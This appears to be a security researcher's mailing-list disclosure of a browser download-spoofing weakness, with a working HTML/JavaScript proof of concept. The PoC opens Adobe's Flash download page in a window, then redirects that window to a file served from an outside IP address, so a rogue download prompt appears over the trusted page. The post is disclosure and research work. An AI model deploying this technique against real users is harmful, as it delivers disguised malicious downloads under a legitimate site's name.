Another moderately interesting tidbit, I guess...

It is an important and little-known property of web browsers that one
document can always navigate other, non-same-origin windows to
arbitrary URLs. Perhaps more interestingly, you can also navigate
third-party documents to resources served with Content-Disposition:
attachment, in which case, you get the original contents of the
address bar, plus a rogue download prompt attached to an unsuspecting
page that never wanted you to download that file.

PoC:
http://lcamtuf.coredump.cx/fldl/

==========
<input type=submit onclick="doit()" value="Click me. I like to be clicked.">
<script>
var w;
var once;

function doit() {

  if (navigator.userAgent.indexOf('MSIE') != -1)
    w = window.open('page2.html', 'foo');
  else
    w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo');

  setTimeout(donext, 4500);

}

function donext() {
  window.open('http://199.58.85.40/download2.cgi', 'foo');
  if (once != true) setTimeout(donext, 5000);
  once = true;
}
</script>
==========


More info:
http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.html

It's closely related to many other fundamental, open issues with
browser UI design - but I guess it's an interesting highlight.

/mz